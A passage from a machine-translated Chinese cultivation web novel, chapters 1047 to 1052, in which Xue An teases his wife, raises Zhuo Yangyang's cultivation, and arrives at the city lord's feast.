    The old lady of Zhuo''s Zhuo''s family smashed something in the back house, and sent two envoys to send gifts to the City Lord''s Mansion and Tianfu Pavilion respectively.


    at the same time.


    In the corner of the Cursed City, there is a mansion.


    This is where the Jin family is.


    this moment.


    in the study of the Jin family.


    Jin Xiong looked gloomily at the survey results sent by his subordinates.


    "Xue An...hehe, I didn''t expect you to be the Xue An who offended the Zhuo Family and Tianfu Pavilion at the same time!"


    Speaking of this, Jin Xiong sneered for a while.


    "Master This guy is so arrogant, should we join the Zhuo family to kill him?" Madam Jin leaned forward and asked with a hateful expression.


    Jin Xiong shook his head, "Don''t worry too much!"


    "So Chun''er''s revenge won''t be reported?" Mrs. Jin said with a hate.


    "Report, of course!" Jin Xiong said with hatred, "But the strength of this guy is obviously not to be underestimated, at least I have no plan to win against him!"


    "What should I do?"


    Jin Xiong sneered after hearing the words, "Although I can''t beat him, some people can!"


    "Huh?" Mrs. Jin was taken aback.


    Jin Xiong looked up at the bright star just north of the sky, shaking with excitement.


    "At the latest tomorrow, that adult will come here, not to mention Xue An in a mere trivial matter, even the queen, you have to be courteous!"

 Chapter 1047： Take a good lesson to Zhenfu

    "Yan''er, don''t go back to Fubao Xiaolou, just rest here!" Xue An said with a smile.


    An Yan blushed, and Xue An looked white, "No, I''m not going back, Ying''er and Xiaoyu have turned the sky in there without missing me!"


    "Oh, they are just playing around, what''s the big deal!" As he said, Xue An stretched out his hand to grab An Yan''s small waist.


    An Yan turned sideways and avoided Xue An''s "devil''s claws" for a short period of time, and then giggled and said, "Stupid husband, come and catch me! Catch me and I will stay!"


    Xue An was "irritated" by An Yan''s provocation, and could not wait to rub his palms, and then he smiled: "Yan''er, this is what you said! Don''t regret it!"


    Seeing Xue An''s smirk, An Yan felt her heartbeat stopped for a while, and then took a half step back in a panic, "Old...husband, what do you want to do?"


    "What do I want to do... don''t you know?" Xue An smiled badly, and then suddenly rushed forward.


    An Yan screamed in fright, and moved her body to avoid Xue An''s hungry tiger rushing for food. Then she was determined, sticking out her tongue at Xue An, and said with a smile.


    "Stupid husband, have you forgotten that my current cultivation is only one level worse than yours? You want to catch me so easily, it''s impossible!"


    Xue An had a sad expression on his face, "How dare to talk to her husband like this, it seems that I really spoil you! Today, I will teach you a lesson, and let the husband go!"


    As he said, Xue An suddenly stomped his foot, and the surrounding space instantly condensed into a piece of iron, trapping An Yan.


    An Yan struggled a few times, and found that she couldn''t get away at all, she couldn''t help but yelled in some panic: "My husband, are you really here?"


    "Hey, when did your husband come here?" Xue An smirked and rushed forward.


    But at this moment, An Yan''s figure gradually faded, and Xue An once again flew into the air.


    Then An Yan''s laughter came from the void, "Stupid husband, I didn''t expect it, I will also shuttle through the void now, you can''t trap me!"


    Hearing An Yan''s words, Xue An was stunned, and then sighed helplessly, "Oh, the long night is long, and I am sleeping alone. It''s really boring. Since my wife is not there, I just go to Yang. Let��s talk about your heart and your ideals in life!"


    With that, Xue An turned and left.


    "Dare you!" An Yan''s somewhat anxious voice came from the void, and then An Yan''s figure gradually emerged behind Xue An.


    Xue An didn''t turn his head back, but a narrow smile gradually appeared at the corner of his mouth.


    At this time, An Yan reached out angrily and was about to grab Xue An''s shoulder. At this moment, Xue An suddenly turned around and hugged An Yan in his arms.


    "Haha, now I see where you go!"


    Unprepared, An Yan was firmly embraced by Xue An.


    But when Xue An was proud, An Yan suddenly showed a touch of pride in his arms, and then said softly: "Husband, you are fooled again!"


    With that, the figure faded again, and then disappeared invisible.


    Xue An was taken aback for a moment, and then raised his head in surprise to look at the void, "Clone?"


    "Hehe, that''s right! How about my husband, am I amazing? I haven''t been idle in Fubao Xiaolou recently, studying the techniques you gave me all day long!" A faint virtual image appeared in the air, exactly A proud face.


    Xue An smiled helplessly, "Oh, I really shot myself in the foot, and what I did to train my wife so powerfully, I can''t even hug him in the end!"


    Seeing the bitter smile on Xue An''s face, An Yan couldn''t help feeling a little distressed, and her body suddenly appeared in Xue An''s arms.


    "Husband, don''t be angry, I''m having fun with you..." An Yan said distressedly.


    But the next second, all the words behind her were blocked.


    After a full minute, Xue An released his mouth and smiled at An Yan who was blushing, "Dao is one foot high and the devil is one foot high, madam, you still couldn''t get rid of my "devil''s palm" in the end! "


    "Hate, you big liar!" An Yan gave Xue An lightly angrily.


    "Oh? What did I lie to you? Husband and wife are justified, do you still need to lie?" Xue An said with a smile.


    An Yan let out a shy cry and buried her head in Xue An''s arms, "You are a liar. You can''t beat me but use this method to show me!"


    Xue An''s hand gently stroked An Yan''s back, and said with a smile: "Silly Yan''er, you don''t want to think about who taught you your skills. If I really want to catch you, you think you can run away. Huh? I was just teasing you!"


    Before the words finished, Xue An took a breath.


    Because An Yan''s slender hands had pinched a piece of tender meat on his waist, and then twisted it clockwise a full circle.


    It has to be said that An Yan, who has entered the level of a strong man, now has a very strong hand strength, at least this time, Xue An has changed.


    "My wife, tap it, it hurts!" Xue An said with a grin.


    "Huh! It turns out that you have been teasing me! It''s so bad! Originally, I still felt sorry for you. I didn''t plan to go back tonight. Now you can honestly reflect on it yourself!" The kitten who stole the dried fish glared at Xue An bitterly, then turned and left.


    "Yan''er, don''t be so cruel!" Xue An thought An Yan was really angry, and couldn''t help feeling a little flustered, so he hurriedly reached out to stop.


    "Let go of me!" An Yan shouted with teeth and claws.


    "Yan''er, I was wrong, OK, I am teasing you! Your clone technique is so great, I was really fooled by you at the beginning! You can practice the body technique in such a short period of time, Yan''er, you are A genius!"


    "Really?" An Yan stopped, looking up at Xue An coldly.


    Xue An nodded very solemnly, "Really, and it''s one of a kind!"


    An Yan wanted to keep his face straight, but finally couldn''t help but smile Seeing the smiling face of An Yan, Xue An was somewhat inexplicable.


    "Why are you laughing?"


    An Yan rushed into Xue An''s arms, pecked heavily on his face, and then whispered in Xue An''s ear.


    "I''m a little sick lately, wait a few days to accompany my stupid husband! And I was just kidding you! But the way you were just now is really funny, hehe!"


    Xue An was stunned, and then he wanted to catch An Yan if he couldn''t laugh or cry.


    But this time An Yan flew into the Fubao Xiaolou simply and neatly, and then she heard her triumphant laugh.


    "Hey, you can''t catch me! Go find your young girl! I''m going to stare and miss the endorsement!"


    Xue An stood there, listening to An Yan''s words, and then stroked the kissed cheek with his hand, and slowly laughed.


    "Silly girl, do you really think... I didn''t see that you were pretending to be angry?"

 Chapter 1048： On the deviated road, Zhuo who never returns...

    After An Yan returned to Fu Bao Xiaolou, Xue An walked out of the room and went straight to Zhuo Yangyang''s residence. After a moment of indulgence, he really knocked on the door.


    Zhuo Yangyang was sitting on the bed looking sadly at the starry sky outside the window.


    Although she has made up her mind to go to the dinner tomorrow with Xue An.


    But I was still very worried.


    Especially for tomorrow''s banquet, not only the Zhuo family will attend, but also people from Tianfu Pavilion and other wealthy families.


    What will happen then is really unpredictable now.


    All these made Zhuo Yangyang feel sad and difficult to sleep.


    It wasn''t until the knock on the door sounded that Zhuo Yangyang shook slightly, and then he recovered sober, and then he couldn''t help but wonder.


    Who can it be at this late hour?


    Thinking in her heart, Zhuo Yangyang couldn''t help but ask in a deep voice: "Who?"


    After a while, a calm voice came from outside the door, "It''s me!"


    Zhuo Yang Yang was taken aback when he heard this.


    It''s Master Xue, why did he come to find himself so late?


    Could it be...


    Zhuo Yangyang''s thoughts began to run off the track involuntarily.


    In fact, Zhuo Yangyang has always had a big doubt in her heart during this period of time.


    That is why this Master Xue has to help himself so hard?


    If it is said that in the sea of ??God''s punishment, Xue An was just right in time and saved himself easily, then why did he save himself again when he was at the Zhuo family, and smashed Xu Bosheng who was plotting wrongdoing?


    Is it because you like yourself?


    In fact, Meng Lei once asked her in private.


    Because Meng Lei has always thought that Xue An was in love with Zhuo Yang Yang, after all, Zhuo Yang Yang''s appearance is also called stunning.


    But the fact is that Xue An has never committed any crime to Zhuo Yangyang, and has not even said extra words a few times.


    This made Meng Lei also puzzled, not knowing what Xue An was because of.


    To this day, when I saw Xue An leading a peerless beauty who appeared suddenly and two little girls out shopping.


    Zhuo Yangyang finally realized that what she had thought before was just feeling good about herself.


    Because she found that the woman who accompanies Xue An can easily crush herself regardless of her appearance or temperament.


    This kind of gap made Zhuo Yangyang feel ashamed, and felt even more disappointed in her heart.


    But that kind of doubt is getting more and more, because as a girl who has been floating in the business sea since childhood, Zhuo Yangyang has always believed that there is no free lunch in this world.


    After hearing that the person knocking on the door was Xue An, Zhuo Yangyang''s heart suddenly moved, and then she realized that she finally understood something.


    A man, no matter how beautiful his woman is, he can never restrain his restless heart.


    Even though he doesn''t have the stunning appearance of that lady, peerless posture.


    But if only as a supplement, it should be considered good!


    What do you think of yourself? Is it a dispensable vent tool?


    These thoughts entangled in Zhuo Yangyang''s heart, making her a little silly for a while.


    At this time, Xue An''s indifferent voice came from outside the door, "Girl Yang Yang, please open the door, I have something to tell you!"


    Zhuo Yangyang bit her vermilion lips tightly, a humiliating light appeared in her eyes, and her hands clenched into fists.


    But after a while, she came forward with a sad expression like a frustrated ball, and gently opened the door.


    Xue An smiled and stood in front of the door, "Is he already asleep? Why else did it take so long to open the door?"


    Zhuo Yangyang was originally angry, but after seeing the smile on Xue An''s face, she suddenly felt that all her anger had disappeared, and then hesitated.


    "Ah! Master Xue, I still... haven''t slept yet!"


    Xue An didn''t notice Zhuo Yangyang''s strangeness either, smiled and nodded, "That''s good!"


    That''s good? What is that good?


    Could it be that I have not fallen asleep yet, can I do something more convenient?


    Zhuo Yangyang''s thoughts began to run off again.


    "Uh...is it convenient for me to go in?" Xue An said lightly.


    "Ah!" Zhuo Yangyang realized that she had been stuck at the door and hurriedly let go, "Yes... I''m sorry, I was negligent! Please come in!"


    Xue An smiled, and then walked into the room.


    Zhuo Yangyang suddenly woke up, and then felt that his heart was about to jump out.


    How to do? How to do? I actually let him in, wouldn''t it be more convenient for him to succeed?


    Thinking of this, Zhuo Yangyang secretly glanced at Xue An''s back with complicated eyes.


    At this moment, Xue An stood in the room and said without turning his head: "Girl Yangyang, please close the door!"


    Zhuo Yangyang was struck by lightning, and the fingers holding the doorknob instantly turned white due to excessive force.


    But after a while, she bowed her head as if she had accepted her fate, then gently closed the door, and after hesitating for a while, she locked the door back.


    In any case, Master Xue has saved himself several times, just treat it as...repay him for his life-saving grace!


    Zhuo Yangyang secretly made up his mind.


    At this moment, Xue An suddenly turned around and looked at Zhuo Yangyang quietly.


    Zhuo Yangyang almost screamed.


    Are you finally going to do it? But what if I''m not ready yet?


    Just when she was thinking about it.


    Xue An said lightly: "Girl Yangyang, there is something, I want to know your opinion!"


    Zhuo Yangyang took a deep breath, nodded calmly, and then trembled: "No need to ask, I am willing!"


    "Huh?" Xue An was taken aback, then smiled slightly.


    "It turns out that Girl Yang Yang already knows! That''s okay, I won''t bother to save it! But are you ready?"


    A layer of mist gradually formed in Zhuo Yangyang''s pair of wonderful eyes, she lowered her head, and responded with a low voice, "Hmm!"


    Xue An nodded in satisfaction, "Okay, then let''s start now!"


    Zhuo Yangyang trembled when she heard the words, took a half step back subconsciously, and then looked at Xue An with some horror, "Xue...Master Xue, I...I have never done anything like this before, so I hope you... ��Can you give me some time to get used to it!"


    Xue An looked at Zhuo Yangyang with some doubts Never did it? how could be? How could someone like you never do this kind of thing? "


    These words made Zhuo Yangyang''s complexion pale instantly, Yinya bit her lip, bit out the red blood, and said with a cry.


    "So I am a lowly woman in the eyes of adults?"


    "Huh?" Xue An looked dazed.


    Zhuo Yangyang took a deep breath, "Master Xue, although I have experienced ups and downs, Zhuo Yangyang has always adhered to the bottom line and guarded me like a jade. How can you insult me ??like this?"


    Xue An was confused when he was said, and then said dumbfounded: "What''s this all about! I just want to ask if you would like to learn some exercises from me, how can you speak to insult you?"


    Zhuo Yangyang petrified in an instant, staring at Xue An dumbfounded, "Learn...learn the exercises?"


    Xue An nodded, and then sighed: "Yes! Otherwise, what do you think?"

 Chapter 1049： All the gifts of destiny have already been marked...

    Zhuo Yangyang''s face flushed to his heels, and she almost died on the spot.


    "I thought... I thought..."


    Xue An smiled and waved his hand, "Okay, needless to say! I also blame me for not telling you clearly, now I ask you, would you like it?"


    Speaking of this, Xue An''s expression gradually became solemn.


    Zhuo Yangyang looked at Xue An blankly, and suddenly said, "My lord, I...may I ask you a question first?"


    Xue An nodded, "Of course!"


    "You... why are you helping me like this?"


    Xue An was startled slightly, then laughed, "What if I say there is no reason?"


    Zhuo Yangyang shook his head, "My lord, you don''t have to prevaricate me. I am not a boudoir who knows nothing about the world. There is no good or bad for no reason in this world, and I firmly believe that all gifts are already in secret. The price is marked! So..."


    Zhuo Yangyang took a deep breath and said slowly: "I want to know why you did this!"


    Xue An looked at the girl in a purple dress, and a look of surprise and appreciation flashed across his eyes.


    He didn''t expect that Zhuo Yangyang would be so sober, and even seemed to be a weather-beaten old man in his perception of world affairs.


    The atmosphere in the room suddenly became silent.


    The expression in Zhuo Yangyang''s eyes changed, but she had been looking at Xue An quietly, without the slightest retreat.


    After a while, Xue An shook his head and chuckled, "To be honest, I am surprised that you can think so!"


    Zhuo Yangyang didn''t speak.


    Xue An raised his eyes, looked at Zhuo Yangyang, and suddenly sighed, "What you said is right, but it''s not right, at least there is no price for my help! As for the reason, it''s actually very simple!"


    "Because I saw a person''s original shadow from you!"


    Zhuo Yangyang trembled all over, and then said softly: "Is it... the girl who accompanied you shopping today?"


    Xue An nodded, "Yes, that''s my wife!"


    Zhuo Yangyang stabbed in her heart, bowed her head silently.


    Xue An said slowly: "She is An Yan, and her experience is similar to yours in some ways!"


    Next, Xue An recounted An Yan''s experience.


    After listening, Zhuo Yangyang didn''t know when she was already in tears.


    Because as Xue An said, she also saw her own shadow from An Yan''s experience.


    Xue An said calmly: "Of course, this is only one aspect! More importantly, I have seen many commendable qualities from you. For example, even in that environment, you still did not abandon yourself, and you still maintain a greatness to everyone. Kindness!"


    "There are fewer and fewer people like you, so I decided to help you!"


    "This... is why I want to help you!"


    After listening to Xue An''s words, Zhuo Yangyang began to sob softly, and then slowly squatted down, howling.


    This kind of crying has nothing to do with others, just because she suddenly felt that she had lived so long, and finally there was someone who could understand herself.


    That kind of loneliness and sadness from the heart knocked her down in an instant.


    Xue An did not dissuade him, but let her cry happily, then came forward and patted her on the shoulder lightly.


    "Tell me now, are you willing?"


    Zhuo Yangyang restrained her crying, slowly bend her knees and knelt down, still with tears on her face, but smiled happily.


    "My lord, Yang Yang...Yes!"


    Xue An nodded, "Very good!"


    Then his expression suddenly grimaced, "Close your eyes and concentrate, there may be some pain next, just get through it!"


    Zhuo Yangyang trembled all over, and immediately closed his eyes according to Xue An''s instructions.


    Xue An''s huge spiritual thoughts spread, directly refining Zhuo Yang Yang''s weak cultivation base, and then using the supreme cultivation level to clean up Zhuo Yang''s sutra.


    This kind of pain, which was enough to make ordinary people crazy, only made Zhuo Yangyang let out a soft snort.


    "It will be very painful next, if you can''t hold it, just shout!"


    Zhuo Yangyang nodded slightly.


    Xue An didn''t hesitate, every thought turned into a blade, just like making a beautiful artwork, he directly began to carve Zhuo Yangyang''s meridians and sea of ??knowledge.


    Every time Zhuo Yangyang trembled with pain, the cold sweat on her face dripped down her chin.


    But she gritted her teeth from beginning to end without making a sound.


    Xue An couldn''t help but admire this perseverance.


    You know, this is the pain that directly affects the soul.


    Gradually, Zhuo Yangyang''s cultivation base began to rise a little bit.


    To the back, the speed of this climb is getting faster and faster.


    Real people, Xiaoyao, Tianren, Sanxian.......


    Each realm passed through safely with Xue An''s spiritual blade.


    This kind of strength improvement speed, if seen by other people, is estimated to be eye-popping.


    Has anyone ever seen such a tactic?


    In fact, Xue An dared to act like this, because each of these divine mind blades acted on divine souls, and the requirements must be precise and unmistakable, otherwise if there is a little deviation, the light will be mad, and the heavy will be destroyed.


    Such an almost crazy behavior means that a talent like Xue An dares to do it.


    Of course, this also requires that the person being treated must trust Xue An unreservedly.


    Zhuo Yang Yang has done this.


    at last.


    The last divine mind blade is finished.


    Zhuo Yangyang was shocked all over his body, and his cultivation level went from a half-step to the Golden Immortal, directly breaking through the pass and entering the realm of Golden Immortal.


    Xue An took a step back and whispered softly: "Alright!"


    Zhuo Yangyang was already in a coma from the pain, but after hearing Xue An''s call, she gradually woke up.


    When she slowly opened her eyes, she was stunned.


    Because she felt the incomparable power from her body.


    You must know that before this, Zhuo Yangyang was just the fur that Meng Lei and others had learned a little bit of cultivation, and relying on the abundant spiritual energy in this **** realm, he could barely reach the realm of heaven and human.


    Moreover, after seeing Zhuo Yang Yang��s physique, some strong people directly asserted that she might not be able to break through the fairyland in her life Although Zhuo Yang Yang was not reconciled at the time, she gradually did. I accepted my fate.


    But I never expected that under Xue An''s actions, he not only broke through the scattered fairyland, but also came to a powerful realm that I didn''t even dare to think before.


    "This is..." Zhuo Yangyang felt astonished, and said softly.


    "You are now a half-step golden immortal. Of course, you can divide it by the strength of your universe to be a half-divine realm!"


    Demigod!


    After hearing these three words, Zhuo Yangyang was struck by lightning, raising her head and looking at Xue An with amazement.


    Because she knows very well what it means to be a strong man in a semi-god state.


    In this celestial realm, although there are so many powerful people, the semi-divine realm is already considered a leader.


    The key is that he was just a celestial being, and he had crossed so many great realms in just a short while.

 Chapter 1050： Those who are not convinced, stepping down, why not talk more! ...

    How against the sky is this Master Xue''s methods?


    Feeling the horror in Zhuo Yangyang''s eyes, Xue An smiled slightly, "You don''t need to look at me like this, this is actually just the beginning! When you practice the exercises I gave you, your cultivation level will rise! "


    "In the future, at least you will be able to hope for the Golden Immortal, and you can also expect a half-step true immortal, which is what you call the True God Realm!"


    "Positive Divine Realm..." Zhuo Yangyang whispered to this realm that he had never even dared to think of before, and he felt fascinated.


    Xue An nodded, "Yes, although your talent is really average, I have already figured out a way to improve you as much as possible."


    Zhuo Yangyang woke up, and then bowed to Xue An respectfully, "My lord, Zhuo Yangyang dare not forget your great grace to death!"


    Xue An didn''t evade either, but calmly accepted her worship, and then smiled lightly, "I didn''t kill the old lady of your Zhuo family before, just to keep it for you!"


    "If you want to really get out of the shadows, you have to take revenge yourself! The so-called relief of hatred and swordsmanship! So I hope you can at the dinner tomorrow, teach those who once looked down to learn to be awed! And let them pay The price it deserves! What I said...do you understand?"


    Zhuo Yangyang''s eyes flashed with a bit of chill, and he nodded in response: "My lord, Yang Yang understands!"


    "Very good!" Xue An smiled slightly, and then passed a spiritual thought directly.


    "This is a practice technique. Although it is not very good, it fits your talents."


    Zhuo Yangyang felt a technique that suddenly appeared in his mind, with mixed feelings in his heart.


    To know how precious a practice exercise is, Xue An gave it to her casually.


    How could this not let her be grateful.


    At this time, Xue An stretched out long, and then yawned, "Okay! The matter is settled, I''m leaving!"


    After that, Xue An turned and left the room.


    Zhuo Yangyang suddenly called Xue An in a low voice, "My lord..."


    "Huh?" Xue An stopped, "what else?"


    At this moment, Zhuo Yangyang suddenly rushed forward, hugged Xue An from behind, and then said in a trembling tone: "My lord, I..."


    Before the latter words were said, Zhuo Yangyang suddenly felt that the person she was holding had suddenly disappeared.


    Looking at it again, Xue An has appeared in front of the door and said lightly: "Girl Yang Yang, it''s not early, let''s rest early!"


    After all, Xue An would open the door and leave.


    But when I opened it, the door did not open.


    Xue An said softly and then realized that the door was actually locked. He couldn''t help but glanced at Zhuo Yangyang with a smile, and then shook his head slightly, "Don''t think about it, remember to practice!"


    After all, Xue An opened the door and left.


    Zhuo Yangyang stood there blankly, staring at Xue An''s back.


    She never expected that Xue An would reject herself so simply and neatly.


    Doesn''t it mean that it is difficult for men to resist this temptation?


    What''s more, this does not require Xue An to pay any price, everything is voluntary!


    Suddenly, Zhuo Yangyang remembered the scene where Xue Anlin couldn''t open the door before he left, his face was flushed to the root of his ears, and he closed the door ashamedly, then leaned behind the door and suddenly laughed silly.


    This thing just passed.


    No words for a night.


    When Meng Lei came to the small building the next day, Zhuo Yangyang walked out of the room with two dark circles under her eyes, apparently she didn''t sleep well this night.


    Meng Lei didn''t care too much, but when he took a closer look, he almost stared out.


    What''s going on, why is there a half-god breath in Yang Yang?


    Could it be that I read it wrong?


    Meng Lei rubbed his eyes again, but after a closer look, he found that there was nothing wrong. Zhuo Yangyang had indeed become a powerhouse in the semi-god state, and he couldn''t help asking in shock.


    "Yang Yang, what''s the matter with your cultivation base?"


    Zhuo Yangyang smiled, "Uncle Meng, I just wanted to tell you! It was Master Xue who helped me improve!"


    "Promote? Promote to a demigod one night?" Meng Lei really thought Zhuo Yangyang was talking nonsense if he hadn''t witnessed it in person.


    Zhuo Yangyang then told the story again, of course, she didn''t say anything about the embarrassment that Xue An was wrong about.


    After listening to Meng Lei, he could not help standing for a long time, and then smiled bitterly.


    "Yang Yang, it seems that Master Xue is really the noble person you hit!"


    At this time, Xue An went down the stairs and came to the living room.


    "Why come so early, what''s the matter?" Xue An asked.


    Meng Lei nodded, his expression becoming a bit solemn.


    "Master Xue, you...Did you have a conflict with the Jin family yesterday while shopping?"


    Xue An smiled slightly, "You already know?"


    Meng Lei smiled bitterly and nodded, "Of course I know about such a big thing!"


    "Yes, I had a little holiday with the Jin family!" Xue An said lightly.


    Little holiday...


    Meng Lei couldn''t laugh or cry in his heart.


    The spirit and soul of the Jin family''s young master was destroyed, and the fan of the Jin family fell to the ground.


    Such a thing turned into an understatement in Xue An''s mouth.


    "What''s wrong? Is something wrong?" Xue An asked.


    Meng Lei took a deep breath, "My lord, today some subordinates reported that the Jin family stayed up all night and had been busy cleaning the house, and early in the morning, Jin Xiong, the head of the Jin family, led people out of the curse. Cheng, seems to be going to meet some important person!"


    "I think the matter is important, so I hurried over to report it to you!"


    Xue An was not moved at all, and even yawned boredly, then smiled slightly, "I see!"


    "My lord, I think this fact is very important. You must know that the Jin family treats it so carefully. The other party is definitely not an ordinary person, you..." Meng Lei said hurriedly for fear that Xue An could not take it seriously.


    Xue An suddenly asked, "What do you plan to eat this morning?"


    "Huh?" Meng Lei was a little silly.


    "I said what to eat in the morning? I''m a little hungry!"


    "But my lord Xue An smiled, "I know what you mean, but in my opinion, no matter what the big person, no one is more important than a breakfast! "


    "As for the Jin family, if they dare to make any changes at tonight''s dinner, then... it is flat, why say more!"


    Meng Lei wanted to say something, but seeing Xue An''s indifferent expression, he finally lowered his head, "Yes!"


    At this time, thunder faintly came from the sky outside.


    Xue An walked to the living room window. The sky outside was gloomy and terrible. Although it was morning, it felt like night.


    The lightning flashing in the sky, even though they are far apart, can still make people feel the violent power.


    "It''s God''s Punishment! The giant beasts in the God''s Punishment Sea are being punished again!" Zhuo Yangyang whispered.


    Xue An raised the corners of his mouth, showing a faint smile, and whispered: "God''s punishment...hehe!"

 Chapter 1051： The feast opens

    At dusk.


    The storm that had been raging all day finally stopped.


    The streets were washed clean by rain.


    The city lord��s mansion, located in the most central position of the city, hung its lanterns early.


    The servants were busy, adding a bit of excitement to this majestic mansion.


    This time, the city lord��s night feast was unprecedented, and not only the rich clan of the city lord, but also those from afar, were all invited.


    Therefore, even though it hasn''t reached the palm of the lantern, the long street outside the city lord''s mansion is already lively.


    I saw luxury cars flying here from all directions, but no matter what the identity of the other party, when they came to the city lord��s mansion, they had to get off and walk to show respect.


    So someone with good will squatted here early, planning to take a look at this rare excitement.


    "It''s from the Zhu family!"


    "The Yang family is here too!"


    Exclamations like this one after another, because the people who came are all the big people who are usually hard to see.


    At this moment, I saw a very luxurious team also arrived here.


    Then came down from the top an old lady with a graceful body and full of hair.


    The old woman glanced around the audience, then walked into the City Lord''s Mansion with an arrogant look.


    After she left, watch the commotion of the lively crowd.


    "Who was the old woman just now?"


    "You don''t know this yet? Is there any old lady in our city with this status? Naturally it is the old lady of the Zhuo family!"


    As soon as these words came out, the expressions on many people''s faces became a little weird.


    "Oh, it turned out to be the old lady Zhuo who was frantically slapped in the face some time ago!"


    What happened in Zhuo''s house before has spread throughout the cursed city, and these people naturally know it.


    "Tsk tsk, why can''t you see anything unusual?" someone said.


    "Hehe, of course you can''t see anything unusual now, but don''t you know? The person who dared to beat her was also invited. It is estimated that it will be there soon. It seems that this dinner will be lively and tight. !"


    People are talking about it.


    For these, Mrs. Zhuo naturally did not know.


    At this moment, she was sitting proudly on the VIP table in the banquet hall, whispering a few words with Mrs. Zhuo Shi and Zhuo Ya who came with her from time to time.


    "Why haven''t the people from Tianfu Pavilion arrived yet?" Mrs. Zhuo asked hesitantly.


    At this moment, the lights are on, and most of the people have already arrived. The banquet hall is very lively, but there are no people in the Tianfu Pavilion.


    Mrs. Zhuo''s whispered: "Old lady, this dinner is very important, not to mention that the surname Xue is also coming, so even if it is to avenge Xu Bao, the people from Tianfu Pavilion must come!"


    When the words Xue An were mentioned, Mrs. Zhuo''s complexion instantly became extremely ugly, and then she gave a cold snort from her nostrils.


    "Unexpectedly, the Empress would even invite him!"


    Mrs. Zhuo Shi smiled, "Old lady, I think this Xue An would never come if he was smart! After all, he now has a lot of enemies!"


    Old lady Zhuo couldn''t help but sneer.


    She naturally knew what happened in Xuanhai Tower.


    The old lady Zhuo couldn''t help being overjoyed when she heard that Xue An actually refined the young master of the Jin family in public.


    The Jin Family''s strength is not inferior to that of the Zhuo Family, and it is even worse in some respects.


    Now that Xue An is acting so arrogantly, he is obviously a deadly enemy with the Jin family.


    In this way, someone might kill Xue An without having to do it yourself.


    At this moment, there was a sudden commotion at the door of the banquet hall.


    Then a group of people walked in.


    The leader is a slender man with a slender body and a demon.


    When they saw this person, many people couldn''t help but horrified.


    "It''s the big brother Kang Huazang of Tianfu Pavilion!"


    "The people from Tianfu Pavilion are here!"


    In these exclamations, Kang Huazang smiled and nodded at the crowd, and then went straight inside.


    Mrs. Zhuo also stood up at this moment and said with a smile on her face: "Master Kang, please sit down!"


    Kang Huazang glanced at her and said faintly: "It turned out to be Mrs. Zhuo. Last time, my younger brother had to thank Mrs. Zhuo for sending me back! Especially not even a piece of minced meat was left. "


    These words made the smile on Mrs. Zhuo''s face a little stiff, "Master Kang joked. I invited Master Xu to discuss something, but who could have thought that something like that would happen later! And even I almost died there. The guy��s hand!"


    The old lady Zhuo began to work hard to clear the relationship, but Kang Huazang just smiled, and then said noncommittal: "Old lady, you don''t need to be nervous, I was really thanking you just now! As for my younger brother, we Tianfu Pavilion Naturally there will be a decision!"


    Mrs. Zhuo was overjoyed, and then she wanted to have a few words with the big brother of Tianfu Pavilion.


    But Kang Huazang obviously didn''t want to care about her. After sitting on the chair, he started drinking tea with his head down.


    at the same time.


    Many people in the banquet hall also began to talk quietly.


    "There are so many people here at Tianfu Pavilion this time. It seems that the visitors are not kind!"


    "Tsk tusk, haven''t you seen that the flattery on Mrs. Zhuo''s face is almost overflowing? I think it''s about discussing how to deal with that Xue An later!"


    "Xue An? Is that the one who beat the old lady Zhuo and killed Xu Bao from Tianfu Pavilion?"


    "Yeah! I heard he was invited too!"


    "Hehe, unless he is crazy, he will never come to this dinner!" Someone sneered.


    After hearing this, everyone nodded.


    "I think so too. If he dares to come, the person from Tianfu Pavilion will not let him go first!"


    "Hey, haven''t you noticed that there is no one missing?" someone said suspiciously at this time.


    "Who is missing?"


    "The people from the Jin family haven''t arrived yet, there is something strange in it!"


    Speaking of this, many people have strange looks on their faces.


    Because they suddenly remembered that Xue An had a conflict with the Jin family yesterday.


    Calculated in this way, this Xue An who did not know where to come out of the Cursed City is almost offended!


    "Huh, this guy, let''s not talk about the strength, the ability to cause trouble is really big!" Someone sighed everyone agreed.


    But just when everyone thought Xue An would never be there.


    On the street in front of the city lord��s mansion, suddenly many people appeared.


    Each of these people was wearing Tsing Yi, with a red scarf wrapped around their left arm, their faces full of awe.


    And by looking at his face, we can see that these are all sailors who habitually walk at sea.


    Seeing this group of normally humble sailors, dressed in uniform and neatly walking, appeared on the street.


    Many people couldn''t help but gradually widen their eyes.


    "What do you mean? These sailors are not in the port, why are they here?"


    Just as everyone was stunned, they saw a black carriage, surrounded by these sailors, slowly approaching from the other side of the street.

 Chapter 1052： Women or something... I hate it most.

    Everyone looked at the carriage blankly.


    At this moment, a soldier guarding the city lord��s mansion stepped forward and shouted in a deep voice: "In front of the city lord��s mansion, the gods dismount!"


    This is a dead rule.


    No matter who it is, what status or status, he must dismount and walk when passing this long street.


    because it represents respect for the strong.


    But the carriage didn''t stop at all, it was still moving forward.


    The soldiers shouted angrily, immediately formed a formation and moved their hands directly.


    These soldiers have been tempered by secret methods in the army, and each of them has a strength no weaker than Sanxian, especially when they are combined into a battle formation, their strength soars exponentially.


    Even a strong man in the semi-god state is unwilling to confront such a well-trained soldier.


    But at the moment when these soldiers'' attack was about to hit the carriage.


    A calm voice came from inside.


    "Go!"


    Boom!


    Although it was just a light drink, the soldiers of this team were hit by a heavy hammer on their chest.


    Qiqi flew far away, and after landing, it was difficult to get up for a while.


    From the beginning to the end, there was nothing unusual in the carriage, and even the extra aura was not revealed. It was just a simple scroll that directly dismantled the attack of a whole team of soldiers.


    The crowd onlookers was a little shocked.


    At the same time, the carriage slowly drove through the street, and finally stopped in front of the gate of the city lord��s mansion.


    Then I saw a long and slender palm carved like sapphire sticking out of the car curtain. The next moment, a young man in white appeared in front of everyone with the car curtain.


    The appearance of this boy made the audience silent.


    At first glance, this young man seems to be only eighteen or nine years old, and he is handsome and fluttering like an immortal.


    But after a closer look, many people can''t help but have another illusion.


    Because they found that they couldn''t tell how old the boy was.


    And all this stems from his eyes.


    What kind of eyes are that!


    is as calm as the unpleasant sea, but inside it seems to contain the huge energy that can destroy the sky and the earth, which makes people afraid to look directly.


    Although he simply stood there, he was like a **** who judges everything.


    When everyone was shaking at it, the boy looked up at this majestic and wide City Lord''s Mansion and smiled lightly.


    "Today...it was really lively!"


    As he said, the boy got out of the carriage and said lightly: "Yang Yang, come down! This good show is about to begin!"


    Following the voice, another purple-clothed girl walked down from the carriage.


    The appearance of this girl caused an uproar in the audience.


    "It''s Zhuo Yang Yang!"


    "That''s right, it''s the orphan who completely broke with the Zhuo family!"


